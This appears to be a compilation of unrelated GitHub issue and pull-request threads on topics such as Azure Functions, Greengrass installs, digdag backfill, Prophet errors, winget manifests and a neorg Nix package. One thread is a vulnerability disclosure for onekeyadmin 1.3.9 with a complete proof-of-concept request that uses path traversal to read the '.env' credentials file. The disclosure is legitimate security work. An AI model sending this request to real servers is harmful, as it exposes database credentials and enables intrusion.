Define leader value calculations

This PR

Defines how we do the leader value calculations as an addendum to the formal spec.
Re-implements the calculation in the executable spec to match. As part of this, we

Remove the VRFValue class
Remove the indirection via UnitInterval

@nc6 I think this PR would close #1285


Goal share buttons

Add twitter, facebook, and tumblr share buttons to the campaign template that share the goal statement.

meeting with Felicia and @lkpttn on Monday to review exactly what we'll be pulling into the shares

@lkpttn please add final mocks of what this should look like here for the first implementation.

also @sbsmith86 please advise if there are any updates to the copy we can include on FB shares

we also want to add UTM parameters to the links we use in these shares:
source = dosomething
medium = social media site (i.e. facebook, twitter, tumblr)
campaign = hot_share
so instead of the URL being https://www.dosomething.org/reportback/59985%3Ffid%3D78683?fid=78683 it'd be:

https://www.dosomething.org/reportback/59985%3Ffid%3D78683?fid=78683?utm_source=dosomething&utm_medium=facebook&utm_campaign=hot_share for Facebook
https://www.dosomething.org/reportback/59985%3Ffid%3D78683?fid=78683?utm_source=dosomething&utm_medium=twitter&utm_campaign=hot_share for Twitter
https://www.dosomething.org/reportback/59985%3Ffid%3D78683?fid=78683?utm_source=dosomething&utm_medium=tumblr&utm_campaign=hot_share for Tumblr

The goal of this is to get better tracking of a. how users are getting to our site and b. which sources of traffic convert most effectively.
related to #4575 and #4610 and #4611

@mikefantini @lkpttn So yea, looked into it. We have control of the "caption" and "description" that shows in the post. See below for an example of what the caption and description are.

and @sbsmith86 we can control this without messing up what gets shared it someone just straight posts the URL into a FB status?

@mikefantini yea, we would pass them as custom params to the facebook feed dialog intent link.


[BUG] Yelp API Validation Error

Type of Connector
Independent Publisher Connector
Name of Connector
Yelp (Independent Publisher)
Describe the bug
Added the Yelp (Independent Publisher) connector to my Dataverse environment via connections and connected with my Yelp Developer API Key. Getting the following Validation errors when attempting to run any actions in either Power Automate or Power Apps:
Power Automate error:
{
"error": {
"code": "VALIDATION_ERROR",
"description": "'my yelp developer api key' does not match '^(?i)Bearer [A-Za-z0-9\\-\\_]{128}$'",
"field": "Authorization",
"instance": "my yelp developer api key"
}
}
Is this a security bug?
No, this is not a security bug
What is the severity of this bug?
Severity 3 - Minor issue
To Reproduce

https://make.preview.powerapps.com/
Under Dataverse -> Connectors -> +New Connection
Search and Select 'Yelp (Independent Publisher) (preview)'
Input Yelp API from Yelp: https://www.yelp.com/developers/v3/manage_app?app_created=True
Back in Power Apps, under Flows -> Create New Instant Cloud Flow
In the Power Automate Flow editor add the Yelp Business Search action utilizing the connection from step 4
Manually Test the flow and input an actual YelpId for a business
Flow fails with the Validation error above.

Expected behavior
The flow should execute with by returning the proper Business data from the Yelp API
Environment summary
Install Method (e.g. pip, interactive script, apt-get, Docker, MSI, edge build)
CLI version (paconn --version)
OS version
Shell Type (e.g. bash, cmd.exe, Bash on Windows)
Additional context
N/A

Hi Andrew,
Thank you for reporting this issue!
I have anticipated that this might happen, so I have pushed some updates to the connector (v 1.1). However, the updates are not pushed into production yet.
So in order to overcome this issue please provide you API key as follows:
"Bearer YOUR_API_KEY"
This should solve the problem for the time being, however once the updates are pushed into production, you need to update your connections with the API_KEY only without "Bearer".
Thanks again
Ahmad Najjar

Ahmad - Thanks! That fix worked. I'm now able to execute against the Yelp API form both Power Automate and Power Apps.


chore(prover): Add Grafana Dashboard for Prover Metrics.

Describe the feature request
Dashboard to track Prover Metrics.
Some of the important metrics to track

Latest Proven Id
Latest Verified Id
Proof Generation Latency
Proofs - Requested / Assigned
Proofs - Generated
Proofs - Accepted

Describe alternatives you've considered
NA
Additional context
#14826 #14878

[PR] (https://github.com/taikoxyz/simple-taiko-node/pull/138)


Add support ReceiveBatch in servicebus.py

Hi, currently servicebus.py only support to get one message at a time. It's slow if I have many message to handle.
Can you add ReceiveBatch support? ReceiveBatch exist in C# library.
Thanks

Unfortunately, in this case, there doesn't seem to be a REST API that provides batch receive.
https://msdn.microsoft.com/en-us/library/azure/hh780762.aspx
FYI: C# doesn't go through the REST API, that's why they are both faster and have a different set of functionality.

Actually, I don't care about the underline transport.
Why can't you change the transport to the one C# use to provider better functionality?

If I was you, I wouldn't care about that either.  I reached out to someone from the service bus team to let them know about your request.  You're not the first to ask/complain about service bus REST API poor performance compared to C#.

Just had a discussion with the ServiceBus team. For problem around performance and missing features, the current recommendation from the ServiceBus team is to use AMQP instead of HTTP:
https://azure.microsoft.com/en-us/documentation/articles/service-bus-amqp-python/
The ServiceBus team were not able to propose better performance using HTTP, due to HTTP limit.


Clarify whether Azure functions must be static (or not) ...

New to Azure Functions, and while reading the documentation, it states:

In a class library, a function is a static method...

Is this true or false?   Many StackOverflow posts show non-static classes / methods being used, but there seems to be nothing in the official docs (so far) regarding this.
Can additional information be added to the docs to clarify the point above?
Thanks in advance.

Document Details
⚠ Do not edit this section. It is required for learn.microsoft.com ➟ GitHub issue linking.

ID: 7a4532b8-8c27-ca15-edc6-85fc38cab341
Version Independent ID: e06de78b-9271-25a4-439d-2a024f31693e
Content: Develop C# class library functions using Azure Functions
Content Source: articles/azure-functions/functions-dotnet-class-library.md
Service: azure-functions
GitHub Login: @ggailey777
Microsoft Alias: glenga

@bdcoder2
Thanks for your feedback! We will investigate and update as appropriate.

Thanks for the feedback!
By default, the Visual Studio templates create static classes when a function app is created. Both Static and non-static methods/classes are supported in Functions. Some developers prefer using non-static classes/methods when implementing dependency injection. I will see if we can add this information to the docs.

@MughundhanRaveendran-MSFT  - Thanks, I think it would be a good idea to add the information to the official docs because there are currently a lot of "answers" on other sites such as StackOverflow that state functions MUST Be static;  I always try to get the answer from the source / official documentation -- but in many cases the information is lacking.
Thanks again!

+1 on what @MughundhanRaveendran-MSFT said. The templates usually generates a static method for functions, but this isn't a hard requirement. In fact, if you are going to do dependency injection, I believe the method can't be static. I'll update the article as such.


Python syntax issues from PR #7

Issues with the if elif else statement

Care to elaborate

You were missing a bunch of parenthesis and colons in your if elif else statement

Ahhh

It's my bad I should've clones and double checked before merging

Either way #8 fixes this as it completely redoes editor picking

Yeah once I merge #8 it'll close this


Contact us page UI

Describe the bug
In Contact Us Section , it is unnecessarily bright which does not look appealing
Expected behaviour
It should be plain white instead of bright white.
Screenshots

Additional context
I'm a GSSOC'23 contributor. Please assign me this issue.
Code of Conduct

[x] I agree to follow this project's Code of Conduct

@SahityaRoy Please assign me this issue


(greengrass): cannot recover when Windows install was failed.

Describe the bug
I am doing some testing on Greengrass Windows install. And I accidentally run the install command twice without deleting the Windows system service and Greengrass core device. After the second time run I got an error "Unable to set up Nucleus as a system service". Then I deleted the GG system service, GG core device and re-started Windows, but I start getting the same error in every time on my install.
To Reproduce

as Administrator run
java -Droot="C:\greengrass\v2" "-Dlog.store=FILE" -jar ./GreengrassInstaller/lib/Greengrass.jar  --init-config ./config.yaml --component-default-user ggc_user --setup-system-service true
the install was success and GG system service is up and running.
run the same command again and I got GG "Unable to set up Nucleus as a system service".
delete system service, delete core device and re-start Windows
sc stop "greengrass"
sc config "greengrass" start=disabled
sc delete "greengrass"
rmdir /s /q C:\greengrass\v2
aws greengrassv2 delete-core-device --core-device-thing-name GreengrassCore
restart Windows
confirm GG device is deleted from AWS, system service is deleted, re-install GG, but got error "Unable to set up Nucleus as a system service". I can see the Windows system service is created but cannot be started
java -Droot="C:\greengrass\v2" "-Dlog.store=FILE" -jar ./GreengrassInstaller/lib/Greengrass.jar  --init-config ./config.yaml --component-default-user ggc_user --setup-system-service true

Expected behavior
After Step 4 I expect a GG system service is up and running.
Actual behavior
Tell us what actually happened.
GG system service is not starting
Environment

OS: [Windows Server 2016 on EC2]
JDK version: OpenJDK 11
Nucleus version: 2.5.3

Additional context
Add any other context about the problem here.
E.g. what is the impact of the bug?

After @songlunzhao provided me access to the EC2 instance, I was able to resolve the issue by disabling the service in the services console, then making it automatic start again. This then allowed the service to start properly. Given this, it seems to be something silly in Windows rather than Greengrass itself.


[feature request] until option for backfill

As backfill automatically fill the data until current date, I think it will be convenient to also have until option but I am not sure if this feature will go against the intention of backfill. This will also help to solve the problem of hitting 100 limit on backfill batches when trying to backfill data older than 3 months.

Hello, @chengvt
The skip_delayed_by(a.k.a. disable_backfill #536) option will introduce in the future release.
It already merged into master branch(#752).
Does this option solve your issue?

Thank you for the fast response.
I checked out the previous issue and seems like this was needed for the case when digdag server restarts and it tries to backfill automatically the period it failed to.
In this case, backfill is used with an intention to fill the past data (which I believe but a little unsure if this is the purpose backfill was intended to be). I am alternatively trying running digdag start --session 'dt' in loop to fill the past data (that go far more in the past than 100 days).

Hello, @chengvt
Does this mean you want to create previous sessions over 100 times with backfill command?
What do you think --count option?
Or do you want to use --until YYYY-MM-DD instead of --count?
timezone: UTC

schedule:
  daily>: 00:00:00

+setup:
  sh>: echo start ${session_time}

digdag server -m

You can create previous sessions over 100 days using backfill twice.
Today is 19/Apr/2018.
digdag push hoge
digdag backfill --count 100 --from '2018-01-01' hoge hoge # 11/Apr/2018 is 100 days from 1/Jan/2018.
digdag backfill --from '2018-04-11' hoge hoge

@hiroyuki-sato
That works wonderfully! I thought --count was to be used by itself.
Thank you for your time and clarification on the matter.


alandefreitas/matplotplusplus

https://github.com/alandefreitas/matplotplusplus

Closed in https://github.com/fffaraz/awesome-cpp/pull/1130.


How to fit a  time series less than a year

I have a data frame containing 191 row daily user counts. But when I put it into Prophet using the following code, I got an error message. I am wondering if the series is less than a year so that I am unable to capture the yearly effect?
from fbprophet import Prophet
df = pd.DataFrame({'ds': res2['dt'],
'y': np.log(res2['amount'])})
m = Prophet()
m.fit(df)

AttributeError                            Traceback (most recent call last)
 in ()
1 m = Prophet()
----> 2 m.fit(df)
/usr/local/lib/python2.7/site-packages/fbprophet/forecaster.pyc in fit(self, df)
337         history = self.setup_dataframe(history, initialize_scales=True)
338         self.history = history
--> 339         seasonal_features = self.make_all_seasonality_features(history)
340
341         self.set_changepoints()
/usr/local/lib/python2.7/site-packages/fbprophet/forecaster.pyc in make_all_seasonality_features(self, df)
286                 365.25,
287                 10,
--> 288                 'yearly',
289             ))
290
/usr/local/lib/python2.7/site-packages/fbprophet/forecaster.pyc in make_seasonality_features(cls, dates, period, series_order, prefix)
227     @classmethod
228     def make_seasonality_features(cls, dates, period, series_order, prefix):
--> 229         features = cls.fourier_series(dates, period, series_order)
230         columns = [
231             '{}_{}'.format(prefix, i + 1)
/usr/local/lib/python2.7/site-packages/fbprophet/forecaster.pyc in fourier_series(dates, period, series_order)
216         t = np.array(
217             (dates - pd.datetime(1970, 1, 1))
--> 218             .apply(lambda x: x.days)
219             .astype(np.float)
220         )
/usr/local/lib/python2.7/site-packages/pandas/core/series.pyc in apply(self, func, convert_dtype, args, **kwds)
2158             values = lib.map_infer(values, lib.Timestamp)
2159
-> 2160         mapped = lib.map_infer(values, f, convert=convert_dtype)
2161         if len(mapped) and isinstance(mapped[0], Series):
2162             from pandas.core.frame import DataFrame
pandas/src/inference.pyx in pandas.lib.map_infer (pandas/lib.c:62187)()
/usr/local/lib/python2.7/site-packages/fbprophet/forecaster.pyc in (x)
216         t = np.array(
217             (dates - pd.datetime(1970, 1, 1))
--> 218             .apply(lambda x: x.days)
219             .astype(np.float)
220         )
AttributeError: 'numpy.timedelta64' object has no attribute 'days'

I think this is an issue with older versions of Pandas. I also ran into it before updating to a supported version (0.19.x).
However, after updating I get the following error with the same dataset (incidentally less than a year of time spanned). It appears pandas DatetimeIndex.get_loc returns slices instead of Ints in some circumstances.

TypeError                                 Traceback (most recent call last)
 in ()
1 model = Prophet(yearly_seasonality=False)
2 # model.validate_inputs()
----> 3 model.fit(data)
/usr/local/lib/python3.5/dist-packages/fbprophet/forecaster.py in fit(self, df)
340
341         self.set_changepoints()
--> 342         A = self.get_changepoint_matrix()
343         changepoint_indexes = self.get_changepoint_indexes()
344
/usr/local/lib/python3.5/dist-packages/fbprophet/forecaster.py in get_changepoint_matrix(self)
191
192     def get_changepoint_matrix(self):
--> 193         changepoint_indexes = self.get_changepoint_indexes()
194
195         A = np.zeros((self.history.shape[0], len(changepoint_indexes)))
/usr/local/lib/python3.5/dist-packages/fbprophet/forecaster.py in get_changepoint_indexes(self)
184                 # the historical data.
185                 indexes.append(row_index.get_loc(cp))
--> 186             return np.array(indexes).astype(np.int)
187
188     def get_changepoint_times(self):
TypeError: int() argument must be a string, a bytes-like object or a number, not 'slice'

@linghduoduo sorry about that, this issue is because of an old version of Pandas, we didn't have the correct minimum version in our installer. It was actually fixed in #72, so if you download from github and run python setup.py install it should work.
@grayhem this issue should have been fixed in https://github.com/facebookincubator/prophet/commit/443d475468f7425fecf6011d0bdf35b89c508694 . If you could install the latest from github and let me know if it still isn't working that would be extremely helpful! We'll have a bugfix release soon.


RIP Kerbalstuff

Thanks m8 for the time you spared us from curse. r8 10/10 IGN

+1

+1 Thanks for your amazing job, seriously.

Kerbalstuff was beutiful project. Thanks a lot.

It was my main source of mods. Very sad to see it go.

Thank you and feel sad

Thank you SirCmpwn for your service to the community.
Farewell kerbalstuff, you may be down but more instances will rise from the ashes

I hope Squad will bring us a KSP mod manager, at least with mod auto updating.

@zanderzhng ehm, there is CKAN already

Loved the website, this is really sad but thanks a lot for all your time although this comes a bit late :/

https://spacedock.info
:+1:


GVFS.Upgrader: migrate to netcore project

GVFS.Upgrader will be run on both Windows and non-Windows platforms.
This enables a netcore version of the project to be built along side a
netframework version.
Update tests to run in the base unit test project to follow the
implementation.

The changes look good. A few things to consider before merging.

Weigh the pros & cons of single csproj that includes source files based on platform checks vs existing pattern of keeping separate csprojs.
Should we need to keep different sets of dependent assemblies (in ProductUpgrader.UpgraderToolAndLibs) for netcore and framework targets.
Is ProductUpgrader.TrySetupToolsDirectory() required at all on the Mac? The original problem was that upgrader could not over-write installed assemblies that are open on Windows. This might not be a problem on Mac.

@nickgra can you take a look at this PR when you have a few minutes?  There aren't too many changes and you have a lot of familiarity in this area. Thanks!


RPC: Add RPC target for esp32 lighting app

Add an RPC target for the DevC Esp32 Lighting app.
Problem
ESP32 lighting app doesn't currently have an RPC target which is used for automated testing.
Change overview
Add an RPC target for the DevC board (Also works on m5).
Testing
Built and flashed the rpc build, tested using chip-console.
1.0 Justification
this enhances ability to test things. - Testers wish to include this sample app in automated testing, which requires an RPC variant. This change is low-risk, as it just adds this other target, and doesn't touch anything else.

1.0 justification seems to be: this enhances ability to test things.
is this correct @rgoliver ? Could we add this justification to the summary (with any additional reasoning/wording as needed)?

1.0 justification seems to be: this enhances ability to test things.
is this correct @rgoliver ? Could we add this justification to the summary (with any additional reasoning/wording as needed)?

Done

@rgoliver - needs conflict resolution


TNT-40664 - fix DeliveryResponse model - notifications should be an array

This is a follow up PR for https://github.com/adobe/target-nodejs-sdk/pull/43
I found a bug in the DeliveryResponse model which was causing DeliveryResponse.notifictions to be a single object instead of Array.

Coverage remained the same at 92.576% when pulling 824b0fd9afc9f976da2f78651562d4302400c4c2 on dcottingham:TNT-40793_2 into b1db832d2bbffc60001c2bd124a41b1c5377186e on adobe:main.


tip gets stuck

same setup as https://github.com/twosigma/beakerx/issues/5825
sometimes the tip gets stuck on the screen.  i am not talking about the "pin" feature.
without clicking, moving the mouse and zooming in and out over these lines and labels,
eventually a tip gets stuck up, even when i move the mouse away.  the tip remains up
until the mouse crosses over the line again, and the tip reappears in the new location.

@scottdraves can you check if it still occurs? I can't reproduce this bug. I think it was fixed in the https://github.com/twosigma/beakerx/pull/6006


auto-fetch custom-feed-detectors.json

recently i opened #31 and that got me thinking about custom-feed-detectors.json
i think it would be helpful to auto-fetch the json file when checking for an ext. update rather than having to check the repo, which i'm sure many users won't, and since the json file is included with the ext., i think it makes even more sense to keep it updated
probably would want to avoid overwriting any user-added options, but not user-modified default options
might be worthwhile to not allow editing of the default options, but allow user-added options to supersede the defaults

I can see where the idea comes from.  uBO and similar addons also update their blocklists.
But from i am not comfortable with auto downloading new rules even if those might be disabled. And this also would also create the "merging issue" ... which i dont really want to get into ... since that would open a whole other can of worms.
What i could see is maybe displaying a notification or changing the badge icon for a time to inform the user about an update to the default detection rules and maybe a simple interface to quicky download the latest ruleset, but i rather leave the import and merging to the user himself.
Does that sound reaonable to you?

sounds fine! - in that case i think a notification by itself would be enough


Add functionality to add saved images to scheduled messages

Created the page to display the images
Need to add "copy link to clipboard" so it can be pasted into a message


Move to top-level directory

I think it would be better to have the package in a top-level directory, rather than a QNMs subdirectory. This makes it easier to directly check out the package into the Applications directory.

Done


docs: showcase user Taro

Have you read the Contributing Guidelines on pull requests?
Yes
Related PRs
#1080
NervJS/taro#2925

@yangshun, he accepted this.


Background development assistant arbitrary file reading vulnerability

Vulnerability affects product:onekeyadmin
Vulnerability affects version 1.3.9
Vulnerability type:file reading
Vulnerability Details：
Vulnerability location
app\admin\controller\Curd#code Here the file_get_contents function is called without any filtering

So we can write the file we want to read into menu.png to cause any file to be read
Vulnerability recurrence
Here we read the database configuration file .env in the root directory
poc
`POST /admin1/curd/code HTTP/1.1
Host: <IP_ADDRESS>:8091
Content-Length: 59
Accept: /
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://<IP_ADDRESS>:8091
Referer: http://<IP_ADDRESS>:8091/admin1/curd/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2acec6968a16dbf988b4f4a2d0a58def
Connection: close
{"name":"test","title":"test","cover":"../.env","table":[]}`

You can see that the file was successfully written to our menu.png, causing any file to be read
http://<IP_ADDRESS>:8091/plugins/test/menu.png

find by Chaitin Security Research Lab


Async UnixStream::connect

Fixes #1, and is a significant breaking change.
This PR is built on top of #29 and will probably need a rebase after that is merged. The implementation was mostly lifted from tokio-tcp.
Although this handles the EINPROGRESS case for connect() (with an additional modification to mio-uds required I believe), I'm not sure how to (or whether it's possible to?) handle EAGAIN/EWOULDBLOCK properly...

#38 covers this case and the rest of the work has been merged in a previous PR.
Thanks!


Add Mission Planner manifest

[x] Have you signed the Contributor License Agreement?
[ x] Have you checked that there aren't other open pull requests for the same manifest update/change?
[ x] Have you validated your manifest locally with winget validate <manifest>, where <manifest> is the name of the manifest you're submitting?

I had problems testing the manifest locally, could somebody help me out?
I got this error message:
winget-pkgs\manifests\Ardupilot\MissionPlanner>winget install -m 1.3.72.yaml Found Mission Planner [Mission.Planner] This application is licensed to you by its owner. Microsoft is not responsible for, nor does it grant any licences to, third-party packages. Downloading https://firmware.ardupilot.org/Tools/MissionPlanner/MissionPlanner-latest.msi An unexpected error occurred while executing the command: InternetOpenUrl() failed. 0x80072f19 : unknown error
Microsoft Reviewers: Open in CodeFlow

@G0rocks So it appears to block on a dialog.

it appears to be a bunch of drivers.

Any idea how to not block install?

Hey @G0rocks
Sorry about the challenges.
I will look at improving the error message for the bot so as not to lead you down the wrong path.
@denelon and I will ensure we get a 'guide' to improve the process.
kevin

Thanks Kevin, I appreciate it.

Any idea how to not block install?

So I didn't have space for the files on my C:drive so I ran this install with the -i flag and then for the Laser Navigation Ports (COM & LPT) I clicked "Don't install" and the installation totally works for me. Other than that I'm sorry but I don't totally know how this package manager works. Maybe we can specify in the YAML file that winget should say "Don't install" to those extra drivers? Or something similar? Or maybe an issue should be created where if winget is installing something and gets stuck it will show it to the user and ask them for help (unless that already exists)? But that doesn't mean we shouldn't fix this stuff before adding a package.

If we can't modify CustomAction without Property from shell, we can't do anything about it. Somehow we have to modify Install_signed_Driver64 action [Drivers]DPInstx64.exe to [Drivers]DPInstx64.exe /S

Well that's a little over my head, what is install_signed_driver64?

@G0rocks Every MSI contains tables. These tables contains various infos like hashes, which file exist in the installer etc. Also these tables contains information about installation sequences. If you open MSI with Orca you can see these tables.

If you remember when you use .\MissionPlanner-latest.msi /help this command, at the bottom of the text there is Property part (Setting Public Properties - [PROPERTY=PropertyValue]). You can change public properties by shell. (.\MissionPlanner-latest.msi /silent Manufacturer="Stephen King") Some devs includes Property in order to modify CustomAction. Generally when using /quiet or /passive command some CustomActions are gonna be ignored (it's about how the devs structure their installer) and because of this there is no need to modify any CustomAction from Property. But in this situation, MissionPlannet-latest.msi always gonna call Install_signed_Driver86 or Install_signed_Driver64 if it's not installed.

Actually this is a good thing when you use installer directly. But in our situation this cause stalls/timed out for winget.

As you can see there is two CustomAction named Install_signed_Driver86 and Install_signed_Driver64. If we can somehow modify these parts and add silent/quiet switches (like [Drivers]DPInstx64.exe /S) we have no problem. But we can't directly modify CustomAction (as far as I know) and we need Property to modify them (and this installer don't have any Property for modifying these CustomActions)
Long story short, either this installer gonna be force pushed with existing time out (this is happened for some installers like TeX Live. But maybe there is some conditions to met. Assignees gonna decide) or someone told us how we can modify CustomAction part.
Have a nice day! 🥂

Okay okay so if I understand you correctly we need to modify the CustomAction in the mission planner installer so that it will accept switches and not attempt to install those drivers if the switches are silent? Or do you mean that we need to modify winget to deal with it?
Thanks :)

@G0rocks (I have very limited knowledge about how MSI works) In order to modify CustomAction part, we need Property to modify that specific part. Without Property we can't modify CustomAction (Only way to send args to installer is Property). We don't try to prevent installing drivers. Adding /S or /Q installs drivers without need for user interaction (just like how we use winget). If you look InstallExecuteSequence (2nd screenshot) you will see that drivers always gonna installed if they are not installed. I'm not sure adding args to CustomAction will change anything but it will work I think. If MSI don't work like this way, we need a new feature for winget about driver bundled installers.

Okay, so if I understand you correctly, we need to add a property to the mission planner MSI (which is here btw: https://github.com/ArduPilot/MissionPlanner/tree/master/Msi) which allows mission planner to be installed quietly, given the correct argument?
@KevinLaMS could you help us out with this?

@G0rocks Installer only need this; when we pass /passive or /quiet args, installer also needs pass these (driver installer user /S and /Q) arguments to driver installers.

Right, the mission planner installer, correct?

When we MissionPlanner-latest.msi /passive, driver installer should DPInstx64.exe /S.
When we MissionPlanner-latest.msi /quiet, driver installer should DPInstx64.exe /Q.

Okay but I'm wondering which program should take care of that. Winget or the mission planner installer?

/azp run

I think working on this is pointless until this issue is resolved, which I don't know how to do, or until winget can install with installers that don't install silently. So just going to take a break

/azp run

@G0rocks can you rebase to see if that fixes the Pull Request error?

cc @G0rocks


Fixing broken link and dupplicative call to action

@ebertrams : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign-off This is a pretty small change and looks fine.

@JasonWHowell: I'm sorry - only the author of this article, @keferna, can sign off on your changes. But we do have an exception process - if you are on the Microsoft content or product team for this product area, you can ask the PR review team to review and merge it by sending mail to the techdocprs alias.


Image Content Moderation and text-in-image analysis

Description
Adding in image content moderation and text-im-image functionality.  Please note, this is back end only and the labels do not appear in the web-ui yet.
By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

Thanks for submitting the pull request, we have added it to our backlog items.

For your information: This Solutions Implementation has been superseded by AWS Content Analysis.

Closing issue as this repo is being retired. This Solutions Implementation has been superseded by AWS Content Analysis](https://aws.amazon.com/solutions/implementations/aws-content-analysis/).


luaPackages.neorg: init at 8.4.0-1

Description of changes
Add lua package neorg.
Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[ ] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

Currently neorg has a nvim-nio ~> 1.7 constraint, which means it won't work with version 1.9 and beyond.

@mrcjkb what do you recommand as a fix ?
I checked the last release https://luarocks.org/modules/neorg/neorg with no change
@vhyrro is it a big job to support nio 1.9 ?
Note to myself when seeing this:
dependencies = { 'lua >= 5.1', 'nvim-nio ~> 1.7', 'lua-utils.nvim == 1.0.2', 'plenary.nvim == 0.1.4', 'nui.nvim == 0.3.0', 'pathlib.nvim ~> 2.2' }

"oh no, it's haskell all again". Does it work well even with rocks.nvim when one plugin mandates plenary.nvim == 0.1.4 and the other plenary.nvim == 0.1.5 ?
What's the ~>  ? respect major version ? Might need to add support for those in luarocks-nix :o

@teto both rocks.nvim and luarocks.nvim properly handle multiple versions of the same dependency. It probably isn't a large deal to upgrade to nio 1.9 but upper bounded dependencies are important to prevent breaking changes of dependencies to break the upstream package like Neorg in this case, therefore being able to support it is quite important :p

@mrcjkb what do you recommand as a fix ?

I don't think there's a clean way to solve this nicely in nixpkgs.
The reason luarocks can support different versions of the same dependency is because it has a luarocks.loader module that is aware of the dependency tree. To make use of that feature, lua applications have to require("luarocks.loader"), and the luarocks installation would have to be aware of all the nix store paths where luarocks packages are installed.
Might not be an impossible task, but I have no idea if that works.
Without that, if a package that neorg depends on becomes outdated, we would have to either wait for neorg to update the dependency pins, or add the required dependencies (e.g. with a _<version> suffix) and hope that nothing breaks.
@vhyrro Don't you think ~> <major> is enough to ensure backward compatibility with semver if major > 0?
If such a dependency were to introduce a breaking change with a minor version bump, it would be a quick fix.
And once the rocks.nvim lockfile support is ready, people who don't want to upgrade could still pin dependencies.

If there were luarocks lockfiles with checksums that can be checked via nix, we could support the dependency pinning.
The shortterm solution looks to me like doJailbreak in haskell, aka ignore the dependencies constraints (or convert them to lower bounds ?) and rely on the tests to check it works.

doJailbreak is relatively safe in Haskell because it likely won't compile if something breaks. I'm not sure if relying on tests will give us the same guarantees for lua packages.

Although, it looks like some lua packages are already being "jailbroken":
https://github.com/NixOS/nixpkgs/blob/a945f3fda983b86d6fe9711c8e5f6e118990ca02/pkgs/development/lua-modules/overrides.nix#L312

@mrcjkb what do you recommand as a fix ?

I don't think there's a clean way to solve this nicely in nixpkgs. The reason luarocks can support different versions of the same dependency is because it has a luarocks.loader module that is aware of the dependency tree. To make use of that feature, lua applications have to require("luarocks.loader"), and the luarocks installation would have to be aware of all the nix store paths where luarocks packages are installed. Might not be an impossible task, but I have no idea if that works.
Without that, if a package that neorg depends on becomes outdated, we would have to either wait for neorg to update the dependency pins, or add the required dependencies (e.g. with a _<version> suffix) and hope that nothing breaks.

What's the ~>  ?

* `~> 1` = `>= 1, < 2`

* `~> 1.5` = `>= 1.5, < 1.6`

* `~> 1.1.5` = `>= 1.1.5, < 1.1.6`

(comes from ruby)
@vhyrro Don't you think ~> <major> is enough to ensure backward compatibility with semver if major > 0? If such a dependency were to introduce a breaking change with a minor version bump, it would be a quick fix. And once the rocks.nvim lockfile support is ready, people who don't want to upgrade could still pin dependencies.

For making rocks.nvim aware, that should just involve symlinking the nix store paths into a folder which rocks.nvim would be aware of; I think it looks wherever the default install directory for the luarocks binary is, at least if I'm reading this code correctly: https://github.com/nvim-neorocks/rocks.nvim/blob/master/lua/rocks/loader.lua

I relaxed the dependency for nvim-nio but it still fails to find other deps:
Missing dependencies for neorg 8.4.0-1:
   plenary.nvim 0.1.4 (not installed)
   nui.nvim 0.3.0 (not installed)

I relaxed the dependency for nvim-nio but it still fails to find other deps:
Missing dependencies for neorg 8.4.0-1:
   plenary.nvim 0.1.4 (not installed)
   nui.nvim 0.3.0 (not installed)

Does it work if you relax the constraints for those, too?

Everything seems to build fine now.
Could someone actually test the plugin ?

@teto is he neorg = ... snippet in vim/plugins/overrides.nix needed anymore now ?
https://github.com/NixOS/nixpkgs/blob/b7488ba3b9b62fa8f1b08ea60200583750cde86f/pkgs/applications/editors/vim/plugins/overrides.nix#L968-L970

Result of nixpkgs-review pr 302442 run on aarch64-darwin 1

1 package marked as broken and skipped:

lua54Packages.neorg

55 packages built:

lua51Packages.neorg
lua52Packages.neorg
lua53Packages.neorg
luajitPackages.neorg
vimPlugins.ChatGPT-nvim
vimPlugins.LazyVim
vimPlugins.LeaderF
vimPlugins.cmp-fuzzy-buffer
vimPlugins.cmp-fuzzy-path
vimPlugins.cmp-treesitter
vimPlugins.completion-treesitter
vimPlugins.crates-nvim
vimPlugins.flash-nvim
vimPlugins.fuzzy-nvim
vimPlugins.fzf-lua
vimPlugins.go-nvim
vimPlugins.hardhat-nvim
vimPlugins.haskell-scope-highlighting-nvim
vimPlugins.haskell-tools-nvim
vimPlugins.image-nvim
vimPlugins.jsonfly-nvim
vimPlugins.lazy-nvim
vimPlugins.lazygit-nvim
vimPlugins.leap-ast-nvim
vimPlugins.lspsaga-nvim
vimPlugins.multicursors-nvim
vimPlugins.neogit
vimPlugins.neorg
vimPlugins.nerdcommenter
vimPlugins.nerdtree
vimPlugins.nlsp-settings-nvim
vimPlugins.nvim-pqf
vimPlugins.nvim-tree-lua
vimPlugins.nvim-treesitter
vimPlugins.nvim-treesitter-textsubjects
vimPlugins.octo-nvim
vimPlugins.onedarkpro-nvim
vimPlugins.orgmode
vimPlugins.playground
vimPlugins.refactoring-nvim
vimPlugins.rest-nvim
vimPlugins.ssr
vimPlugins.telescope-cheat-nvim
vimPlugins.telescope-frecency-nvim
vimPlugins.telescope-fzf-native-nvim
vimPlugins.telescope-fzf-writer-nvim
vimPlugins.telescope-fzy-native-nvim
vimPlugins.telescope-media-files-nvim
vimPlugins.telescope-nvim
vimPlugins.telescope-symbols-nvim
vimPlugins.telescope-undo-nvim
vimPlugins.telescope-z-nvim
vimPlugins.telescope-zoxide
vimPlugins.unison
vimPlugins.vim-spirv

Result of nixpkgs-review pr 302442 run on x86_64-darwin 1

1 package marked as broken and skipped:

lua54Packages.neorg

